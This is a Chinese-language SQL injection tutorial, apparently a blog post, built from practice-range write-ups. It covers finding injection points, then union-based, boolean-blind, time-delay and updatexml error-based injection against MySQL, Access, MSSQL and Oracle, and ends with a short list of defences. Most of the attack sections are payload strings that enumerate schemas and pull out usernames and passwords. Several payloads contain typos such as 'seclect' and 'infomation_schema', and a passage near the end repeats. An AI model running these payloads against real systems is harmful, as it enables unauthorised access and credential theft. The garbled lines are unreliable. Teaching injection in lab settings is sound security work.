一、什么是SQL注入?
答:SQL注入是比较常见的网络攻击方式之一,它不是利用OS的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句实现无账号登陆,甚至篡改数据库。
二、SQL注入的原理?
答:SQL注入攻击通过构建特殊的输入语句作为参数传入web应用程序,指的是服务器对用户输入数据过滤不严,导致服务器SQL语句被恶意篡改并成功
SQL注入的危害?
当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
SQL注入带来的危害主要有如下几点:
- 猜解数据库(这是利用最多的方式)盗取网站敏感信息。
- 绕过验证,例如绕过验证登陆进入网站后台
- 注入可以借助数据库的存储过程进行提权等操作
- 管理员账号被篡改
- 网页被挂马
- 服务器被远程控制,被安装后门
- 破坏硬盘数据,瘫痪全系统
…
三、SQL注入攻击的总体思路
- 寻找SQL注入位置
- 判断服务器类型和后台数据库类型
- 针对不同服务器和数据库特点进行SQL注入攻击
SQL注入条件:
1、必须有参数传递
2、参数值带入数据库查询并执行 and 1=1 返回正确 and 1=2返回错误
大概判断是否存在注入点:
- 如果参数(id)是数字,测试id=2-1 与id=1返回结果是否相同,如果做了2-1的运算,说明可能存在数字型注入。如果要用+号运算,因为URL编码的问题,可能需要把+号换成%2B,例如 id=1%2B1
- 在参数后面加单引号或者双引号,判断返回结果是否有报错
- 添加注释符,判断前后是否有报错,例如 id=1’ # 或者 id=1’ --+(后面跟+是把+当成空格使用)
- 有些参数可能在括号里面,如:SELECT first_name,last_name FROM user where user idd=(’$id’);所以也可以在参数后面加单双引号加括号如 id=1’) --+或者 id=1")–+
- 参数后面跟or 或者 and,判断结果是否有变化
- 如果回显正确和报错都是一样的界面,可以考虑时间延迟的方式判断是否存在注入,如 1’ and sleep(5) (延迟5m)
…
SQL注入分类(按数据类型分为俩类)
- 数字型SQL注入
- 字符型SQL注入
按注入点分:
- 请求参数注入:修改GET、POST中的参数
- URL注入
- 盲注
- cookie注入
- HTTP头消息注入
- X-Forwarded-For:是一个HTTP扩展头部,主要是为了让WEB服务器获取访问用户的真实IP。
- User-agert:用户代理头信息,记录了客户的软件程序相关信息
- Refer:记录了请求来源(记录了你是从哪里跳转过来的)
- 延时注入
- 报错型注入
…
四、常见的数据库
Access:体积小,速度快,但很少见,多用于久远的小型数据库,常与asp搭配。
MySQL:体积小、速度快、功能简洁,多用于小型数据库,常与PHP / Java搭配。
SqlServer:较MySQL稍显复杂,功能也更为强大(也意味着攻击面更广),多用于中型数据库,常与.NET搭配。
Oracle:体积大、结构复杂、安全性高,多用于大型数据库,常与Java搭配。
......
五、ASP的ACCESS数据库SQL注入入门
access数据库
是一种非常简单但是功能完整的数据库,很适合小型网站创建,可以很轻松管理表和列,有很多管理工具。
access注入基本流程?
- 判断有没有注入点
- 猜解表名
- 猜解字段
- 猜解管理员ID值
- 猜解用户名和密码长度
- 猜解用户名和密码
ASP的数据库:SQL sever或者access
联合查询法(速度快、兼容性不好)
- and 1=1 、 and 1=2——判断注入
- order by …(猜有多少列order by 5回显正确,order by 6报错,则表示有五列)
- union select 1,2,3,4,5 from admin(猜表名,如果报错就说明表名不存在,将admin换成别的)
- union select 1,2,username,4,password(在数字3,5有回显位即在回显位上进行猜解字段)
access数据库盲注?
判断是什么数据库?
SQL sever或者access(回显正常是SQL sever回显不正常是access)语句如1
先找数据传参的地方,寻找注入点。
1、用来判断数据库
and (select count(*) from msysobjects)>0
回显错误,证明该数据库为access数据
或者
and exists(select * from msysobjects)>0
回显成功/根据回显消息提示,没有读取数据权限,即该数据库为access
2、查表名,回显正确即表示存在表名admin
and 0<>(select count(*)from andmin) 或者 and exists(select * from admin)
3、判断管理员账号数目(>1回显正确 >2报错 即表示存在一个管理员账号)
and (select count(*) from admin)>0(数字可以修改)
4、查询admin下的adminuid(通过F12查看源代码猜测)是否存在
and 1=(select count(*)from admin where len (adminuid)>0)
判断存在后猜测字段长(=5时回显正确,即字段长=5)
and 1=(select count(*)from admin where len (adminuid)=5)
5、判断密码的字段长(当字段长=16时回显正常)
and 1=(select count(*)from admin where len (adminpwd)>0)
以上可知管理员账号:admin 密码为16位md加密
ASCII码
6、验证账号为admin
一位一位的用大于等于号判断
and (select top 1 asc(mid(adminuid,1,1))from admin)=55
and (select top 1 asc(mid(adminuid,2,1))from admin)=97
and (select top 1 asc(mid(adminuid,3,1))from admin)>1 …
7、一步一步猜解密码16为7a57a5a743894a0e(解密为admin)
and (select top 1 asc(mid(adminpwd,1,1))from admin)>1
and (select top 1 asc(mid(adminpwd,2,1))from admin)>1 …
六、MYSQL数据库
在MySQL注入中常用的注释方式:
注释 | 说明 |
---|---|
# | 单行注释 URL编码 %23,在URL框直接使用中#号必须用%23来表示,#在URL框中有特定含义,代表锚点 |
–空格 | 单行注释 ,实际使用中–空格用–+来表示。因为在URL框中,浏览器在发送请求的时候会把URL末尾的空格舍去,所以用–+代替–空格 |
在MySQL 5.0及以上版本中,提供了以下元数据信息(这里列出常用的):
- information_schema:系统数据库,包含所有数据库的相关信息
- information_schema.tables:table_name记录了所有的表名
- information_schema.column:column_name记录了所有列名
- information_schema.schemata:schema_name记录了所有数据库名
常用的字符串连接函数:
- concat(str1,str2,…):连接字符串
- concat_ws(separator,str1,str2,…):使用分隔符连接字符串
- group_concat(str1,str2,…):连接一个组的所有字符串,并以逗号分隔每一条数据
…
MYSQL数据库查询顺序:数据库名称-表名-字段-字段内容
猜解字段数
order by(SQL中的排序语法,表示对第几列进行排序)进行 猜解:
1' or 1 order by 1 # # 查询成功
# "select * from table where id='1' or 1 order by 1 # '"
1' or 1 order by 2 # # 查询成功
1' or 1 order by 3 # # 查询失败
#表示该数据库存在2列,x从1开始往下尝试,到第几列失败则表明第几列不存在
确定回显字段
数据库查询的时候并不是都有回显的,没有回显的时候或者所有字段均不回显的情况,我们就需要用到其他SQL注入手段,例如盲注、延时注入、报错注入等
1’ union select 1,2 #
华哥靶场wp的playload:
步骤:
index.php?id=1 and 1=1
order by 5
UNION SELECT
#先知道库名、版本(记录下来)
version()、user()、database()
#知道数据库后查表名
UNION SELECT 1,table_name,3,4,5 from information_schema.tables where table_schema=‘hackyl’
#因为有php魔术引号所以要转义,小葵转码(hackyl)
UNION SELECT 1,group_concat(table_name),3,4,5 from infomation_schema.tables where table_schema=‘hackyl’
UNION SELECT 1,group_concat(column_name),3,4,5 from infomation_schema.columns where table_name=‘user’
UNION SELECT 1,username,password,4,5 from user
7、布尔盲注
布尔盲注的利用场景:在注入时无回显,无报错,通过页面观察正确SQL与错误SQL语句执行结果的不同
常用函数
函数 | 描述 |
---|---|
left(str, len) | 从左边截取指定长度的字符串 |
length(str) | 获取字符串长度 |
ascii(str) | 将指定字符串进行ascii编码 |
substr(str, start, len) | 截取字符串,可以指定起始位置和长度 |
mid(str, start, len) | 截取字符串,可以指定起始位置和长度 |
count() | 返回匹配条件的行数 |
sleep(n) | 将程序挂起n秒 |
if(param1, param2, param3) | param1作为条件,当其返回结果为true时,执行param2,否则执行param3 |
华哥靶场wp的playload:
魔术引号 单引号的时候返回不正常
有些时候 #号有问题不被识别
尽量要用 %23 (url里面用)或者其他注释
先判断字段order by
union select 1,2 %23
数据库,版本,用户
库名是webug
猜数据库长度
and length(database())=5 %23
猜数据库全名
and ascii(substr(database()1,1))>1 %23
and ascii(substr(database(),2,1))>1 %23
...
判断表名
and (select count(*) from information_schema.tables where table_schema=database())>1 %23
猜每个表有多长
and (select count(*) from information_schema.tables where table_schema=database()limit 0,1)=9 %23
查第二个表
and (select count(*) from information_schema.tables where table_schema=database()limit 1,1)=8 %23
猜表名
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101 %23
猜表中字段数
and (select count(clumn_name)from information_schema.columns where from table_name=’env_list’ )>1 %23
判断字段长度(0--)
and (select count(*) from information_schema.columns where table_name=‘env_list’ limit,5,1)=7 %23
猜字段名
8、延时注入
基于时间盲注的原理分析,注入SQL语句执行后不提示真假,也不能通过页面内容来进行判断,通过构造SQL语句注入,查看页面响应的时间来判断信息为时间盲注。
延时注入的原理就是所要爆的信息的ascii码正确时,产生延时,否则不延时
常用函数 | 说明 |
---|---|
sleep(x) | 睡眠x秒 |
if(x,y,z) | 如果x为真则返回y,否则返回z |
ascii© | 返回字符c对应的ascii码 |
substring | 出字符串里的值 |
华哥靶场wp的playload:
#出现延迟,说明存在注入
id=2’ and sleep(5) %23 让他睡眠5m
#判断数据库字符长度
#如果数据库的长度等于5就延时3m否则输出1
and if(length (database())=5,sleep(3),1) %23
#爆破数据库名
and if(ascii(substr(database(),1,1))=119,sleep10(),1) %23
and if(ascii(substr(database(),2,1))=101,sleep(3),1) %23
...
#判断当前数据库表数量
and if((select count(*) from information_schema.tables where table_schemam=database())=7,sleep(3),1) %23
#判断第一张表表名长度
and if((select length(table_name) from informattion_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1) %23
#判断第二张表表名长度
and if((select length(table_schema)from information_schema.tables where table_schema=databse() limit 0,1)=8,sleep(3),1) %23
#判断第三张表名长度
....
#爆破第二张表表名
#第一个字符的ascii码值
1‘ and if(ascii(substr((selectt table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),1) %23
#第二个字符的ascii码值
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=110,sleep(3),1) %23
#第三个字符的ascii码值
......
#猜解表有多少个字段
and if((select count(column_name)from information_schema.columns where table_name=‘env_list’)=8,sleep(3),1) %23
#猜解表的第一个列名字符长度
and if((select count(column_name)from information_schema.columns where table_name=‘env_list’ limit 0,1)=2,,sleep(3),1) %23
#猜解表的第二个列名长度
....
9、报错注入X-Forworded-For:
X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址
伪造IP
墨者学院在线靶场wp:
伪造IP
x-forwarded-for:
白名单
updatexml()报错注入
127.0.0.1',updatexml(1,concat(0x7e,(select user()) ,0x7e),1)) # 爆当前用户权限
127.0.0.1',updatexml(1,concat(0x7e,(select database()) ,0x7e),1)) # 爆当前用户数据库
webcalendar
127.0.0.1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='webcalendar' limit 0,1),0x7e),1))# 获取第一个表名
127.0.0.1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='webcalendar' limit 1,1),0x7e),1))# 获取第二个表名
127.0.0.1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='webcalendar' and table_name='user' limit 0,1),0x7e),1))# 获取第一个字段
127.0.0.1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='webcalendar' and table_name='user' limit 1,1),0x7e),1))# 获取第二个字段
127.0.0.1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='webcalendar' and table_name='user' limit 2,1),0x7e),1))# 获取第三个字段
127.0.0.1', updatexml(1,concat(0x7e,(select group_concat(username,password) from user) ,0x7e),1)) # 获取字段内容
host返回服务器IP
10、SqlServer(MSSQL)注入
MSSQL的语法与MySQL有些许不同,它是强类型的数据库语言,并且单行注释符是采用– 。
MSSQL中常见的系统函数和变量:
- @@version:版本信息
- @@SERVERNAME:获取有关服务器主机的信息
- db_name():数据库名
- col_name():查列名,可以传入列id到对应列名,常与object_id联用
- object_id():返回指定对象的ID值
- current_user:当前用户
- system_user:系统用户
- sysobjects:数据库信息表(通过database.dbo.sysobjects引用)
华哥靶场wp的playload:
and 1=2 union all select null,null,null,null
用单引号一个一个试
and 1=2 union all select null,’null’,null,null
试成功后可改成数字
and 1=2 union all select null,’2’,’3’,null
查数据库
and 1=2 union all select null,(select db_name()),’3’,null
查数据库版本
and 1=2 union all select null,(select @@version),’3’,null
查表名
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’),’3’,null
查表里字段(后面的数字1可更改)
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),1) from sysobjects),’3’,null
查
and 1=2 union all select null,(select top 1 usename from manage),’3’,null
and 1=2 union all select null,(select top 1 password from manage),’3’,null
11、oracle注入
Oracle是比较复杂的数据库,一般只在sqlmap跑不了的情况下手工注入。它的最高权限是 DBA 角色,该角色下存在两个用户:sys和system。
dual表:这张表是Oracle的一张虚拟表,只有一行一列,每个用户都可以使用,但也有可能被删掉(sys可以恢复),只是用来构成select的语法规则。
Oracle中常见的系统函数和变量:
- sys.v_$version:Oracle版本信息表
- sys_context():用来获取信息的预定义函数,第一个参数为查询空间’user_env’,第二个为查询信息
- rownum:列数
- user_tables:当前用户的表
- all_tab_columns:所有字段
- user_tab_columns:当前用户的字段
使用墨者在线靶场wp的playload:
指定表
from dual
判断几个字段
id = 1 order by 2
查询任何东西得加 from dual
id = 1 and 1=2 union select null,null from dual
加单引号判断回显
id = 1 and 1=2 union select ’null‘,null from dual
回显后改为数字
id = 1 and 1=2 union select null,’2‘ from dual
and 1=2 union seclect null,(seclect sys_context(‘userenv’,’current_user’)from dual) from dual
回显:SYSTEM
判断数据库是什么
and 1=2 union seclect null,(seclect instance_name from V$INSTANCE) from dual
当前数据库:XE
查版本?Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
and 1=2 union seclect null,(seclect banner from sys.V_$version where rownum=1) from dual
查表
and 1=2 union seclect null,(seclect table_name from user_tables where rownum=1 and table_name like ‘%user%’ )from dual
sns_users
列
and 1=2 union select null,(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1) from dual
USER_NAME
第二列
and 1=2 union select null,(select user_tab_columns where table_name=‘sns_users’ and rownum=1 and column_name not in (‘USER_NAME’)) from dual
USER_PWD
第三列
and 1=2 union select null,(select user_tab_columns where table_name=‘sns_users’ and rownum=1 and column_name not in (‘USER_NAME’,’USER_PWD’)) from dual
报数据
and 1=2 union select USER_NAME,USER_PWD from "sns_users"
and 1=2 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’ (过滤掉一个错误信息hu)
这里需要提一下单双引号的问题,用双引号包裹起来的字符大小写敏感,其他的 Oracle 都默认是大写,因此表名(包括对象名、字段名也是)需要用双引号包裹。而单引号是用来包裹字符串,表示数据类型(单引号包裹的字符串也区分大小写!!)
12、如何防御SQL注入
- 严格限制 Web 应用的数据库的操作权限,给连接数据库的用户提供满足需要的最低权限,最大限度的减少注入攻击对数据库的危害
- 校验参数的数据格式是否合法(可以使用正则或特殊字符的判断)
- 对进入数据库的特殊字符进行转义处理,或编码转换
- 预编译 SQL(Java 中使用 PreparedStatement),参数化查询方式,避免 SQL拼接
- 发布前,利用工具进行 SQL 注入检测
users"
and 1=2 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’ (过滤掉一个错误信息hu)
这里需要提一下单双引号的问题,用双引号包裹起来的字符大小写敏感,其他的 Oracle 都默认是大写,因此表名(包括对象名、字段名也是)需要用双引号包裹。而单引号是用来包裹字符串,表示数据类型(单引号包裹的字符串也区分大小写!!)
12、如何防御SQL注入
- 严格限制 Web 应用的数据库的操作权限,给连接数据库的用户提供满足需要的最低权限,最大限度的减少注入攻击对数据库的危害
- 校验参数的数据格式是否合法(可以使用正则或特殊字符的判断)
- 对进入数据库的特殊字符进行转义处理,或编码转换
- 预编译 SQL(Java 中使用 PreparedStatement),参数化查询方式,避免 SQL拼接
- 发布前,利用工具进行 SQL 注入检测
- 报错信息不要包含 SQL 信息输出到 Web 页面
参考文章:
http://www.tuzk1.top/posts/dff8e681.html
https://wwwblogs/Fluorescence-tjy/p/10400588.html
https://jwt1399.top/posts/32179.html
更多推荐
SQL注入基础总结
发布评论